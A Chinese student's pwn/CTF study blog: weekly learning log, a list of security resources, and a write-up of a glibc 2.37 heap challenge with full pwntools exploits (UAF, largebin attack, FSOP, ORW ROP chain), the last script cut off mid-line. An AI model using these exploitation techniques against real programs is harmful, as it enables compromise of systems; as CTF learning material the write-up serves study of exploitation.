成长之路—学习周报
2023年第一周(3.27-4.2)1.高级网络攻防练习题1(栈迁移、orw、ret2csu),简单学了下第二题堆的两个漏洞原理(largebinattack & poison null byte)
2.精读论文并准备pre的ppt
https://www.usenix.org/conference/usenixsecurity22/presentation/myung
3.补天10周年活动,志愿者、 制作学术道德视频
第二周(4.3-4.9)1.高级攻防writeup,主要练习规范和画图
2.虚拟化pre+分析博客
3.阅读分析malloc源码,分析largebin漏洞
4.栈迁移三道练习题目
5.读论文: MOZE(自动化堆风水)和一篇综述(内存安全)
Maze: Towards Automated Heap Feng Shui
SoK: Eternal War in Memory
6.做了一点但不多: 阅读afl源码、软件漏洞分析与挖掘作业,逆向题以及整合ppt、pwn一键搭建环境脚本
第三周(4.10-4.16)不要惧怕畏惧自己不擅长的,以及觉得自己不喜欢学的,比如AI,早晚可能会用到,所以该学还得学!!
1.精读论文,制作ppt和讲稿pre:自动化堆风水
https://www.usenix.org/conference/usenixsecurity22/presentation/myung
2.三道栈迁移博客 + 5道题练习
3.uaf学习和题目练习
4.计算机系统基础(一):程序的表示、转换与链接 看了四章节左右
第四周(4.17-4.23)1.红明谷杯+中国海洋大学ctf、月赛pwn出题
2.计算机基础看了两章节左右、csapp做了半章习题
3.移动安全作业,大概读了一下demo的代码
https://github.com/song-dev/device-info
第五周(4.24-4.30)这一周上到一半就开始准备五一出去玩了…导致干的活不是很多…
1.南大cs基础继续看,快看完了,csapp第三章做到一半多了
2.复习和学习了一下域渗透、Linux后门
3.移动安全作业,就简单的读懂了实现逻辑,添加了一个读取通讯录的功能
第六周(5.1-5.7)1.cpp学习了两章
2.学习了一点域渗透
3.做了一个csapp实验(二进制炸弹)
第七周(5.8-5.14)1.totolink T10 路由器 环境搭建 业务分析 漏洞复现
第八周(5.15-5.21)1.周六月赛,做了一天
寄……摆了一星期
第九周(5.22-5.28)1.过了音乐考试、游泳考试、软件漏洞分析与发现考试!
2.做了一点组里的活
第十周(5.29-6.4)1.高级网络攻防考试,以及学了一下offbyone,
2.dasctf 二进制专项比赛
第十一周(6.5-6.11)1.升级赛…条件竞争…得好好看看pwncollege了..要学的还很多
2.这周忘了干啥…感觉时间比较零碎…(还是尽量不要把时间打的太散比较好,可以安排一块时间处理散乱的事情)
第十二周 (6.12 - 6.18)1.夏季学期云安全存储实践系统的前端(QT、C++实现)
2.乙队月赛,终于拿到第一名了!拿到奖金了!!,虽然成长缓慢,但是从最初的菜鸡,一道题也做不出来,也看不懂,到现在基本都有思路,简单一点的话能AK,还是有点长进的,算是一点小小的欣慰吧,继续加油!!!
第十三 - 十六周(6.19 - 7.16)休息. 旅游
第十七周 7.17-7.231.虚拟化入门,了解了下虚拟化
2.忘了..好像在摸鱼
第十八周 7.24 - 7.301.虚拟化 了解CPU相关, 看了一下KVM源码
2.pwn学了两种手法
3.回工位装系统装环境….遇到了很奇怪的问题..拆机+反复装系统,感觉挺好玩的….
第十九周 7.31 - 8.6在家躺着
第二十-二十二周8.7-27hw
第二十三周 8.28-9.3看内存虚拟化、云原生安全
第二十四周 9.4-9.10月赛出题3道
第二十五周 9.11 - 9.17对象生病,陪护住院
第二十六周 9.18 - 9.24调研
各种小事
brics ctf
第二十七周 9.25 - 10.1回炉重造c,打基础
打升级赛: 意识到自己还有差距,不过目标更清晰了
第二十八周 10.2 - 10.8玩
第二十九周 10.9 - 10.15调研弹性计算相关内容
第三十周10.16 - 10.22学习rust,完成入门100题
第三十一周 10.23-10.29我忘了…
第三十二周 10.30 - 11.5月赛、组里活、c基础回顾
记录的越来越潦草了…得警醒一下, 同时感觉自己每周做的事情太杂了,太分散了,或许需要调整一下策略
第三十三周 11.6-11.121.glibc调试、月赛题目复盘分析、c书最后小实验
2.做了几道练习题,学了几种新的手法
3.看了点namespace隔离
pwn入门-0-学习资源及备忘仓库
[toc]
每日可看玄武实验室 sec.today
安全研究 GoSSIP 公众号每日推送
吾爱破解 https://www.52pojie.cn
看雪论坛 https://bbs.kanxue.com
v2ex 分享探索 社区 https://www.v2ex.com
资源整合和学习路径https://csdiy.wiki/ 北大学生总结的自学指南,非常好,融合了许多优质的公开课程和书籍
最近待看https://github.com/firmianay/CTF-All-In-One/tree/master 感觉作者有添加一些新的东西(相比那本书)
https://seedsecuritylabs.org/instructor_manual.html seedlab
https://nju-projectn.github.io/ics-pa-gitbook/ics2021/ 南大计算机基础实验
http://www.hackdig.com
https://www.bookstack.cn/read/webxiaohua-gitbook/README.md
https://hacklido.com/ 一个国外的网站, 有篇很励志的文章https://hacklido.com/blog/439-how-i-got-my-oscp-at-16-years-old
https://hsqstephenzhang.github.io/2022/02/10/linux/syscall/vdso/ 腾讯云容器团队的一个老哥的博客,感觉挺有意思
北理工那个团队网站 https://www.isclab.org.cn
https://www.ooopn.com 一个工具网站
https://bbs.kanxue.com/thread-218617.htm 看雪 个人博客
https://hnusec.github.io/#/Stuff
国际知名战队的博客等
https://defcon.org/html/defcon-29/dc-29-speakers.html#fournier
https://blog.csdn.net/Breeze_CAT/article/details/103788631
https://wizardforcel.gitbooks.io/100-gdb-tips/content/call-func.html
https://www.52pojie.cn/thread-1399142-1-1.html
https://hack1s.fun/page/2/
http://javabin.cn 一个搞物联网的,感觉挺有意思
问题libc.so.6怎么用?
https://www.cnblogs.com/Taolaw/p/16281185.html
Glibc,libc gcc工作原理了解清楚
学习资源安全会议四大顶会
blackhat https://www.blackhat.com
https://www.blackhat.com/latestintel/
https://www.blackhat.com/html/archives.html
安全社区(可以没事多逛逛)玄武实验室 sec.today
吾爱破解 https://www.52pojie.cn
看雪论坛 https://bbs.kanxue.com
v2ex 分享探索 社区 https://www.v2ex.com
https://www.ctfiot.com chamd5的! 一个综合信息平台
学习网站CTFwiki(入门必看wiki): https://ctf-wiki.github.io/ctf-wiki/#/introduction
ctftime ctf各个比赛日程,很权威
buuctf https://buuoj.cn/
ctfshow https://ctf.show/challenges
ctfhub
CTFrank: https://ctfrank.org/
攻防世界 xctf官方: https://time.xctf.org.cn
i春秋 https://www.ichunqiu.com/competition
http://www.wechall.net/active_sites 一个ctf网站,同时也收录了很多学习网站
Tryhackme\hackthebox\
蓝桥云课
pwn专属pwn.college 由浅入深,一步一步,还有机器可以用!
https://pwnable.kr
http://pwnable.tw
重要比赛defcon https://defcon.org/html/defcon-30/dc-30-training.html
书籍《计算机安全导论:深度实践 (杜文亮) 》 很适合入门,讲的非常详细
《从0到1,CTFer的成长之路》
《CTF权威指南-PWN篇》
大佬博客https://xuanxuanblingbling.github.io xuanxuan和他对象的,记录了从小白到大神的一路,感觉写得非常好!
https://blingblingxuanxuan.github.io
https://hurricane618.me IIE学长的博客,有写自己的心路历程,感觉很不错,能从中看到一个人的成长
https://kiprey.github.io 清华网安硕士在读,博客深入浅出,良好的学习路线
https://blog.csdn.net/weixin_45209963?type=blog 天大pwn老哥的博客
计算机底层的秘密 https://github.com/webxiaohua/gitbook/blob/master/SUMMARY.md 这个合集不错
http://ifsec.blogspot.com/2018/02/so-you-want-to-work-in-security-and-for.html
https://bestwing.me/archives/page/14/
https://etenal.me/archives/1121 待看,这个也不错,这一篇是堆的
http://blog.imv1.me NeSE搞内核安全的大佬学长
https://eqqie.cn
https://github.com/kiprey/skr_Learning 一个非常不错的成长路线(每周更新),可以参考,
https://cjting.me 做的一些很深入的小研究,治愈系
https://trailofbits.github.io/ctf/
https://security.ntu.st/
https://github.com/BrieflyX/ctf-pwns
Atum
https://hpdoger.cn/about/ 又一个学长的博客
https://trailofbits.github.io/ctf/
https://security.ntu.st/
https://etenal.me/archives/972#C1
https://github.com/BrieflyX/ctf-pwns
https://y4er.com web
https://blog.flanker017.me
Eastmount(csdn)、娜璋ai安全之家(公众号):博士在读,研究AI、网络安全 https://blog.csdn.net/Eastmount
http://shell-storm.org 国外大佬,还有很多shellcode样本[http://shell-storm.org/shellcode/](
http://scz.617.cn:8 不知道是哪个大佬..
http://showlinkroom.me
https://eternalsakura13.com/
https://kiprey.github.io/
http://blog.eonew.cn/
http://ruanyifeng.com/blog/2018/02/docker-tutorial.html
https://thiscute.world/ 最近发现的两个计算机的大佬,在v2ex中发现的
https://soulteary.com
0xffff社区
https://0xffff.one/d/1085-mit6-s081-operating-system
CTF知名战队网站国科大-NeSE:https://nese.team
清华:https://redbud.info
复旦白泽战队:知乎、微信公众号
X1cT34m: https://ctf.njupt.edu.cn
SU:https://team-su.github.io
星盟:https://space.bilibili.com/489643272 有ctf培训课程 pwn已完结 、 微信公众号:星盟安全
天璇Merak: 微信公众号,有一些文章,更新较少
星盟 http://blog.xmcve.com
漏洞挖掘/分析工具angr
一些小工具:Compiler Explorer 在线应用层代码转汇编
在线运行汇编 https://www.tutorialspoint.com/compile_assembly_online.php
https://www.textcompare.org diff网站,比较各种内容的不同
https://gchq.github.io/CyberChef/ 解密解码工具
https://cloudconvert.com 在线格式转换
https://web.archive.org 查看历史网站记录
https://cloudconvert.com 各种文件的格式转换
https://www.ilovepdf.com pdf操作,切割等
ctf导航http://www.ctfiot.com. ChaMd5团队做的
https://ctf.mzy0.com
特定漏洞相关资源堆how2heap(github)
https://bbs.kanxue.com/thread-272416.htm#msg_header_h1_2
待整理资源https://blog.csdn.net/Breeze_CAT/article/details/103788631
其他查看系统调用
https://github.com/torvalds/linux/blob/master/arch/x86/entry/syscalls/syscall_64.tbl
系统调用参考\查看系统调用参数
https://syscalls64.paolostivanin.com
https://elixir.bootlin.com/linux/v5.19/C/ident/getname
macbook 快捷键
http://dragon-li.gitee.io/my-wiki/doc/mac/005-Mac下Iterm2使用及快捷键.html
解题模版
123456789101112131415161718from pwn import *context.log_level= "debug"context.arch='amd64' //sh = process("./ret2syscall")context.terminal = ['tmux', 'splitw', '-h']gdb.attach(sh,"break *0x8048e96")binsh = 0x080BE408edxecxebx = 0x0806eb90eaxret = 0x080bb196int80 = 0x08049421payload = b"a"*(108 + 4) + p32(eaxret) + p32(0xb) + p32(edxecxebx) + p32(0) + p32(0) + p32(0x080BE408)+p32(int80) sh.send(payload)sh.interactive()
1234567891011121314151617181920212223242526from pwn import *context.log_level= "debug"context.arch='amd64'io = process("./hacknote")def add(length,context): io.sendlineafter("choice","1") io.sendlineafter("size",str(length)) io.sendlineafter("Content",context)def delete(index): io.sendlineafter("choice","2") io.sendlineafter("Index",str(index))def Print(index): io.sendlineafter("choice","3") io.sendlineafter("Index",str(index))add(16,"aaa")add(16,"bbb")delete(0)delete(1)add(8,p32(0x08048986))Print(0)io.interactive()#io.recv(1024)
libc版本问题,需要换一下
2.27
[DEBUG] Received 0x29 bytes: b’free(): double free detected in tcache 2\n’
pwn入门-56-202312月升级赛
另一方面是edit的chunk错了,uaf只有一个, 并且要注意,申请后或者删除后再edit, 不能edit了再add或者delete,fd等字段会改写,可能会出问题
pd为什么要移动过0x10
看看xq那个ppt
先输出所有的文件,再联合pwntools进行调试
echo -n “directory “; find /path/to/glibc-2.27 -type d | tr ‘\n’ ‘ ‘
总结 还是差些火候,但是已经很接近了,一方面是基础漏洞的利用,大概知道怎么用,但是还是细节上理解的不够,另一方面,对复杂的复杂利用链熟悉度不够,这方面需要加强, 关键还是捋顺思路,其实回看exp,真的就是几处细节的事,但细节反应了对原理的不清晰,只是模棱两可不理解本质
并且…碰到了一个大坑…以后docker起了以后还是先看好libc版本等, 遇到一些奇怪的问题的时候,反过来看是不是自己不小心改了什么….这一次就是libc版本从2.37-0ubuntu2.1_amd64升级到了2.37-0ubuntu2.2 _amd64,而题目有个地方用到了偏移…于是乎这道题目就做不出来了…
最后其实可以用p大法,调用函数,看是否触发了io流
1LC_CTYPE=C.UTF-8 gdb `find ./glibc-2.37 -type d -printf '-d %p '` ./chal
题目分析libc: 2.37-0ubuntu2.1_amd64 版本
防护分析 防护全开,并且禁用了一些系统调用
1234567891011# seccomp-tools dump ./chal line CODE JT JF K================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x05 0xc000003e if (A != ARCH_X86_64) goto 0007 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005 0004: 0x15 0x00 0x02 0xffffffff if (A != 0xffffffff) goto 0007 0005: 0x15 0x01 0x00 0x0000003b if (A == execve) goto 0007 0006: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0007: 0x06 0x00 0x00 0x00000000 return KILL
代码分析 ida反编译可能会有问题, 可以多尝试几个不同版本ida….(当时电脑上7.0的就没识别出来那个switch选择不同操作)
1234567./chal1. add_note2. delete_note3. edit_note4. look_note5. close_notech>
1.add 大小只能是 0x40f - 0x450之间, 也就是large bin,
base + 0x4068存储着指针,base + 0x4060存储着size, 依次存放, 最多申请 16个堆块
1234567891011121314.bss:0000000000004060 unk_4060 db ? ; ; DATA XREF: add+DC↑o.bss:0000000000004060 ; delete+DB↑o ....bss:0000000000004061 db ? ;.bss:0000000000004062 db ? ;.bss:0000000000004063 db ? ;.bss:0000000000004064 db ? ;.bss:0000000000004065 db ? ;.bss:0000000000004066 db ? ;.bss:0000000000004067 db ? ;.bss:0000000000004068 ; _QWORD qword_4068[31].bss:0000000000004068 qword_4068 dq 1Fh dup(?) ; DATA XREF: add+66↑o.bss:0000000000004068 ; add+A1↑o ....bss:0000000000004068 _bss ends.bss:0000000000004068
123456pwndbg> tele 0x4060+0x55555555400000:0000│ 0x555555558060 ◂— 0x41a01:0008│ 0x555555558068 —▸ 0x55555555b2a0 ◂— 0x002:0010│ 0x555555558070 ◂— 0x41a03:0018│ 0x555555558078 —▸ 0x55555555b6d0 ◂— 0x004:0020│ 0x555555558080 ◂— 0x0
2.delete (一次UAF机会) 这里的4010也是一开始是1,第一次的话,可以有一次UAF的机会 (可以用unsortedbin泄露地址)
123456789101112131415161718192021222324unsigned __int64 sub_162B(){ unsigned __int64 v1; // [rsp+0h] [rbp-10h] unsigned __int64 v2; // [rsp+8h] [rbp-8h] v2 = __readfsqword(0x28u); v1 = sub_14D0((__int64)"index> "); if ( v1 > 0xF ) _exit(0); if ( !qword_4068[2 * v1] ) _exit(0); if ( byte_4010 ) { free((void *)qword_4068[2 * v1]); byte_4010 = 0; } else { free((void *)qword_4068[2 * v1]); qword_4068[2 * v1] = 0LL; *((_QWORD *)&unk_4060 + 2 * v1) = 0LL; } return v2 - __readfsqword(0x28u);}
3.edit1234567891011121314unsigned __int64 sub_172C(){ unsigned __int64 v1; // [rsp+0h] [rbp-10h] unsigned __int64 v2; // [rsp+8h] [rbp-8h] v2 = __readfsqword(0x28u); v1 = sub_14D0((__int64)"index> "); if ( v1 > 0xF ) _exit(0); if ( !qword_4068[2 * v1] ) _exit(0); sub_140A("content> ", qword_4068[2 * v1], *((_QWORD *)&unk_4060 + 2 * v1)); return v2 - __readfsqword(0x28u);}
这里大小什么的貌似都没啥问题、这里可以用于UAF之后把
4.look(一次show的机会) 而且只输出了0x20,感觉像是泄露libc地址
12345678910111213141516171819unsigned __int64 sub_17E7(){ unsigned __int64 v1; // [rsp+0h] [rbp-10h] unsigned __int64 v2; // [rsp+8h] [rbp-8h] v2 = __readfsqword(0x28u); v1 = sub_14D0((__int64)"index> "); if ( v1 > 0xF ) _exit(0); if ( !qword_4068[2 * v1] ) _exit(0); if ( byte_4011 ) { write(1, (const void *)qword_4068[2 * v1], 0x20uLL); write(1, "\n", 1uLL); byte_4011 = 0; } return v2 - __readfsqword(0x28u);}
它后面是iofile
123456789pwndbg> tele 0x4011+0x55555555400000:0000│ 0x555555558011 ◂— 0xd00000000000000101:0008│ 0x555555558019 ◂— 0x8000007ffff7fb2602:0010│ 0x555555558021 (stdout+1) ◂— 0x7ffff7fb2703:0018│ 0x555555558029 ◂— 0xa00000000000000004:0020│ 0x555555558031 (stdin+1) ◂— 0x7ffff7fb1a05:0028│ 0x555555558039 ◂— 0xa00000000000000006:0030│ 0x555555558041 (stderr+1) ◂— 0x7ffff7fb2607:0038│ 0x555555558049 ◂— 0x0
解题思路 泄漏地址后, 可以edit, 然后利用largebin attack把伪造的chunk放入链中, 用FSOP进行攻击,因为限制了系统调用,可以采用ORW或其他手法
1.泄漏地址
1.泄漏地址(libc和堆地址)如何泄露两个地址呢?
largebin? 既有fd, 也有fdnext, 一个指向libc地址,一个指向了堆块地址
large bin attackhttps://github.com/shellphish/how2heap/blob/master/glibc_2.37/large_bin_attack.c
https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/large-bin-attack/
这里遇到了一个关键点,没搞好,所以可能导致卡住了,就是写入的地址是哪个chunk? 如何控制呢?
写入的地址是本chunk的地址!
edit(0,p64(libcbase+0x1f70d0)*2+p64(heap_base+0x290)+p64(iolistall-0x20))delete(2)
这里删除的是2,所以写入的就是2的地址
largebin
与 bk 不同的是 bk_nextsize 来自的是 fwd(unsorted bin)-> fd 而不是 unsorted bin ,可以劫持。 因此如果将 large bin 中的最小的 chunk 的 bk_nextsize 指向 &target - 0x20 的位置,然后加入一个更小 chunk 就会将 target 写入新加入 chunk 的地址。
https://blog.csdn.net/qq_45323960/article/details/123003301
栈迁移、ROP 搜索命令多尝试depth, 有符号的话可以直接找…
123456789ROPgadget --binary ./libc.so.6 --depth 25 | grep "mov rbp, qword ptr \[rdi +" 0x00000000001629ea : mov rbp, qword ptr [rdi + 0x48] ; mov rax, qword ptr [rbp + 0x18] ; lea r13, [rbp + 0x10] ; mov dword ptr [rbp + 0x10], 0 ; mov rdi, r13 ; call qword ptr [rax + 0x28]
可以把后面都布置到同一个chunk里,会方便很多
123456789101112131415161718192021222324252627282930313233340000240e5 : pop rdi ; ret000002573e : pop rsi ; ret000026302 : pop rdx ; ret 0000288da : leave ; ret 000037d86 : pop r12 ; pop r13 ; ret 0000240e0 : pop r13 ; pop r14 ; pop r15 ; ret 022832:syscall; ret;stack = b""stack += p64(libc_base + 0x00000000000400f3) # pop rax ; retstack += p64(2)stack += p64(libc_base + 0x00000000000240e5) # pop_rdistack += p64(heap_base + 0x380 + 0x10)stack += p64(libc_base + 0x000000000002573e) # pop_rsistack += p64(2)stack += p64(libc_base + 0x000000000026302) # pop rdx ; retstack += p64(0)stack += p64(libc_base + 0x0000000000022832) # syscall; ret; #stack += p64(libc.sym.open) # openstack += p64(libc_base + 0x00000000000240e5) # pop_rdistack += p64(0)stack += p64(libc_base + 0x000000000002573e) # pop_rsistack += p64(heap_base + 0x380)stack += p64(libc_base + 0x000000000026302) # pop rdx ; pop r12 ; retstack += p64(0x40)stack += p64(libc.sym.read) # readstack += p64(libc_base + 0x00000000000240e5) # pop_rdistack += p64(1)stack += p64(libc_base + 0x000000000002573e) # pop_rsistack += p64(heap_base + 0x380)stack += p64(libc_base + 0x000000000026302) # pop_rdxstack += p64(0x40)stack += p64(libc.sym.write) # write
ROP有两种一种是利用libc的函数进行ROP、另外一种是利用系统调用进行ROP, 但是为啥系统调用的失败了呢?
libc函数的话, 分别用rdi rsi rdx来构造三个参数
系统调用的话(32位)
系统调用号,即 eax 应该为 0xb
第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。
第二个参数,即 ecx 应该为 0
第三个参数,即 edx 应该为 0
flag.txt 一开始是这样,构造/flag.txt总是有问题,
123450x110:leak_heap+0x110,0x110+0x8:pop131415,0x110+0x18:'flag\x00\x00\x00\x00', # 这里不同名字会影响....比如转译0x110+0x20:0,0x110+0x28:pop_r12_r13,
后来根据debug显示的信息发现前面有干扰信息
把前面填充成0就可以了
12340x110+0x10:0, # 进行填充0x110+0x18:'/flag.tx', # 这里不同名字会影响....比如转译0x110+0x20:'t\x00\x00\x00\x00\x00\x00\x00',0x110+0x28:pop_r12_r13,
你的payload有什么不同? 为啥失败了?你edit了两个chunk,其实不行的,要利用uaf,只能用到那一个chunk,其他的利用都不行,
??? 回头看倒不知道为啥失败了,可以再试试看, 反正失败的那个chunk会受到free的时候fd什么影响
123456payload = b''.join([ p64(leak_list[0]), // fd p64(leak_list[1]), // bk p64(leak_list[2]), // fd_nextsize p64(_IO_list_all_addr-0x20), // bk_nextsize])
为什么要触发两次呢? (其实不是故意的触发两次,而是要申请出一个堆块,然后edit填入后面的payload,从而导致又触发了一些东西,
第一次触发前
第一次触发后(第二次触发前
12345 else{ p->fd_nextsize->bk_nextsize = p->bk_nextsize; p->bk_nextsize->fd_nextsize = p->fd_nextsize;}
如何触发?起个gdb server? docker调试?
并且还得把debug目录考出来? /usr/lib/debug
注意这个build id要一样
libc.so.6: ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=d320ce4e63925d698610ed423fc4b1f0e8ed51f1, for GNU/Linux 3.2.0, stripped
为什么这里能再次修改 _IO_list_all ???
1add_note(0x418) # link [0] to _IO_list_all_addr
脱链的操作?
12345 else{ p->fd_nextsize->bk_nextsize = p->bk_nextsize; p->bk_nextsize->fd_nextsize = p->fd_nextsize;}
► 51 _IO_acquire_lock (fp);
遇到了新问题, 布置的chunk会被覆盖掉两个值.. 或者设定好的值是会有变动的, 那么这里是怎么解决的呢?
所以是因为自己看的代码里 理解错了??
12345678void __noreturn sub_197F(){ FILE *stream; // [rsp+0h] [rbp-10h] for ( stream = *(FILE **)off_4018; stream; stream = stream->_chain ) fclose(stream); _exit(0);}
难道还是环境的问题???? 还是先用给的环境吧, 差一点可能也不行
思路和资料收集所以,应该不涉及tcache、 ( 后记: 是的这个思路正确
v1只说了不能大于0xf 所以可以用负数? 或者怎么表示负数呢?
0xff是不是就溢出了 (后记: 这个思路不对,不能是负数
largebin attach (后记: 思路正确
是否可以修改fd bk,到堆地址上,类似 house of orange
高版本堆利用
https://www.roderickchan.cn/zh-cn/2023-03-01-analysis-of-glibc-heap-exploitation-in-high-version/
https://www.cnblogs.com/7resp4ss/p/17300224.html
基本考虑就是largebin+fsop
https://bbs.kanxue.com/thread-278695.htm
https://blog.csdn.net/qq_45323960/article/details/123003301
能在任意地址写上p2的地址,所以就可以把iofile的那个_chain指针写成p2的,然后伪造p2为iofile就可以了!!!
如果使用largebin attack就可以一步到位指向布置在chunk上的伪造结构体。同时还可以修改_chain指针,劫持到多个伪造的结构体的利用链
不需要泄露堆地址,因为可以直接把p2的赋值过去
https://deepunk.icu/2023/07/27/house-of-cat/
根据这个题改的把, 而且本题edit没有限制
https://zikh26.github.io/posts/7de5a5b7.html
https://kagehutatsu.com/?p=723
libc版本是多少呢?(后记: 看dockerfile就行了
https://blog.csdn.net/weixin_52640415/article/details/126157319
libc6_2.35-0ubuntu3/lib/x86_64-linux-gnu/libc.so.6
https://github.com/MuelNova/PwNo/blob/ad370fda3835add52ba68580d206fb3f5fb46c88/src/pwno/helper/IO/cat.py#L7
高版本利用总结:https://www.roderickchan.cn/zh-cn/2023-03-01-analysis-of-glibc-heap-exploitation-in-high-version/
house of cat
https://blog.csdn.net/qq_61670993/article/details/134147133
这里有讲ROP:https://nicholas-wei.github.io/2022/08/02/house-of-cat/
https://xz.aliyun.com/t/12349
house of obstack总结:https://www.ctfiot.com/102675.html
house of corrosion
House of apple1
https://bbs.kanxue.com/thread-273418.htm#msg_header_h3_1
https://blog.csdn.net/qq_62172019/article/details/130779745?spm=1001.2014.3001.5502
banana
https://www.cnblogs.com/trunk/p/17157420.html
坑总结起的docker安装软件会对libc有影响 因为本身pwn题目和libc版本就强相关,一点小变动都影响很大,而题目中还用了偏移(以后可以多注意下),更有影响了, 更新/下载一些软件,会给libc打patch之类的!!! 如果以后觉得有东西很奇怪,可以问问的!!!!!!!!!!!!!!!!!!!!!!!不要憋着(不过感觉这个可能和题目有关…理论上也不能问)
比如apt-get install python3-pip, 安装完之后libc的加载地址就不一样了,原先最后是3000
1234# ldd chal linux-vdso.so.1 (0x00007ffff7fc6000) libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ffff7db4000) /lib64/ld-linux-x86-64.so.2 (0x00007ffff7fc8000)
可以看到, 安装python3-pip的时候会安装libc相关的
12345The following NEW packages will be installed: binutils binutils-common binutils-x86-64-linux-gnu build-essential bzip2 ca-certificates cpp cpp-12 dirmngr dpkg-dev fakeroot fontconfig-config fonts-dejavu-core g++ g++-12 gcc gcc-12 gcc-12-base gnupg gnupg-l10n gnupg-utils gpg gpg-agent gpg-wks-client gpg-wks-server gpgconf gpgsm javascript-common libalgorithm-diff-perl libalgorithm-diff-xs-perl libalgorithm-merge-perl libasan8 libassuan0 libatomic1 libbinutils libbrotli1 libbsd0 libc-dev-bin libc-devtools libc6-dev libcc1-0...
如何用docker里给的ld和libc直接用ld运行二进制文件, 但是,记得要加./ 不然识别不了….太坑了..所以以后还是写好路径…
123456789# ./ld-linux-x86-64.so.2 ./chal1. add_note2. delete_note3. edit_note4. look_note5. close_note# ./ld-linux-x86-64.so.2 chalchal: error while loading shared libraries: chal: cannot open shared object file
gdb 调试这种启动方式 : gdb -args ./ld-linux-x86-64.so.2 ./chal (但是…这样的话,chal的加载地址会和普通方式不太一样
https://www.cnblogs.com/7resp4ss/p/17300224.html#poc 看一下人家是怎么用的…
就正常的patchelf就行了,但自己的用法有个误区..patchelf 设置–set-rpach的时候是设置搜索路径..不是设置文件..
patchelf –set-rpath /pwn/clearhuanjing/testldlibc/libc.so.6 ./chal 这是错误的
patchelf –set-rpath /pwn/clearhuanjing/testldlibc/ ./chal 这才对
caocaocao 虽然官网没给….但是可以改下url就找到了…
https://launchpad.net/ubuntu/lunar/amd64/libc6-dbg/2.37-0ubuntu2.1
exp自己的改写成功的( edit 正确的、成功输出字符串)123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106# -*- coding: utf-8 -*-from pwn import*context(os = 'linux', arch = 'amd64', log_level = 'debug')context.terminal = ['tmux', 'splitw', '-h']def debug(cmd=''): cmd += "b main\n" gdb.attach(p, cmd) pause()host = ""port = 0p = process("./chal")#p = remote(host, port)libc = ELF("./libc.so.6")debug()def add(size): p.sendlineafter("ch>", str(1)) p.sendlineafter("size>",str(size).encode())def delete(index): p.sendlineafter("ch>", str(2)) p.sendlineafter("index>",str(index).encode())def show(index): p.sendlineafter("ch>", str(4)) p.sendlineafter("index>",str(index).encode())def edit(index, content): p.sendlineafter("ch>", str(3)) p.sendlineafter("index>",str(index).encode()) p.sendlineafter("content>",content)add(0x420) #largechunk 0add(0x430)add(0x418)delete(0)add(0x440)show(0)#leak largechunklibc_base = u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00")) -0x1f70d0log.success("libc_base = {}".format(hex(libc_base)))p.recvuntil("\x7f\x00\x00")heap_base = u64(p.recvn(6).ljust(8,b"\x00")) -0x290log.success("heap_base = {}".format(hex(heap_base)))# edit largechunk 0 and trigger largebin attack#fake IOlibcbase=libc_basesystem=libcbase+libc.sym['system']leakheap = heap_baseleak_heap = heap_baselb = libcbaseiolistall = libcbase + 0x1f7680leak_heap = heap_base+0x290struct_fp = fit({ 0x20: 0x0, 0x28: leak_heap+0xe8+0x30+1, 0x30: leak_heap+0xe8+0x30+1, 0x88: leak_heap+0x1170, 0xd8: 0x1f2d00 + libc_base +0x8}, filler=b'\x00', length=0xd8+8) # 确保长度为0xd0,填充为b'\x09',加8是因为fit函数从0开始计数,而0xd0是索引,实际需要0xd0+1个字节的长度pd = flat( { 0x0:bytes(struct_fp), #------fake __printf_buffer--- 0xe0:leak_heap+0xe8, 0xe8:[ 0, #write_base 0 0, #write_ptr 8 leak_heap+0xe8+0x30+1, #write_end 0x10 leak_heap+0x110, #written 0x18 p32(11), #mode 0x20 ], #---------------------------- #------fake obstack---------- 0x110:leak_heap+0x110, 0x110+0x18:[ '/bin/sh\x00', 0 ], 0x110+0x38:libc_base+libc.sym.puts, 0x110+0x48:leak_heap+0x110+0x18, 0x110+0x50:[0xff] #---------------------------- })edit(0,p64(libcbase+0x1f70d0)*2+p64(heap_base+0x290)+p64(libcbase+0x1f7680-0x20))delete(2)add(0x440)add(0x418)edit(0,pd[0x10:])pause()p.sendlineafter("ch>", str(5))p.interactive()
libc函数ROP 成功exp123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152# -*- coding: utf-8 -*-from pwn import*context(os = 'linux', arch = 'amd64', log_level = 'debug')context.terminal = ['tmux', 'splitw', '-h']def debug(cmd=''): cmd += "b main\n" gdb.attach(p, cmd) pause()host = ""port = 0#p = process("./chal")p = remote("127.0.0.1", 31020)libc = ELF("./libc.so.6")#debug()def add(size): p.sendlineafter("ch>", str(1)) p.sendlineafter("size>",str(size).encode())def delete(index): p.sendlineafter("ch>", str(2)) p.sendlineafter("index>",str(index).encode())def show(index): p.sendlineafter("ch>", str(4)) p.sendlineafter("index>",str(index).encode())def edit(index, content): p.sendlineafter("ch>", str(3)) p.sendlineafter("index>",str(index).encode()) p.sendlineafter("content>",content)add(0x420) #largechunk 0add(0x430)add(0x418)delete(0)add(0x440)show(0)#leak largechunklibc_base = u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00")) -0x1f70d0log.success("libc_base = {}".format(hex(libc_base)))p.recvuntil("\x7f\x00\x00")heap_base = u64(p.recvn(6).ljust(8,b"\x00")) -0x290log.success("heap_base = {}".format(hex(heap_base)))# edit largechunk 0 and trigger largebin attack#fake IOlibcbase=libc_basesystem=libcbase+libc.sym['system']leakheap = heap_baseleak_heap = heap_baselb = libcbaseiolistall = libcbase + 0x1f7680leak_heap = heap_base+0x290struct_fp = fit({ 0x20: 0x0, 0x28: leak_heap+0xe8+0x30+1, 0x30: leak_heap+0xe8+0x30+1, 0x38: leak_heap + 0x200, # fakechunk 